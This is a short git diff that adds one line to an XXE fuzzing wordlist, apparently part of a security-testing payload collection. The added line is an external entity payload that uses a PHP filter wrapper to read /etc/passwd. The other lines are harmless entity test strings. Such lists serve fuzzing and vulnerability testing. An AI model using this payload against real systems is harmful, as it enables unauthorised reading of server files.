diff --git a/Fuzzing/XXE-Fuzzing.txt b/Fuzzing/XXE-Fuzzing.txt
index 8c3340c3c..fb601dfe8 100644
--- a/Fuzzing/XXE-Fuzzing.txt
+++ b/Fuzzing/XXE-Fuzzing.txt
@@ -1,3 +1,4 @@
+<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" >
 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]>
 <!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]><root>&foo;</root>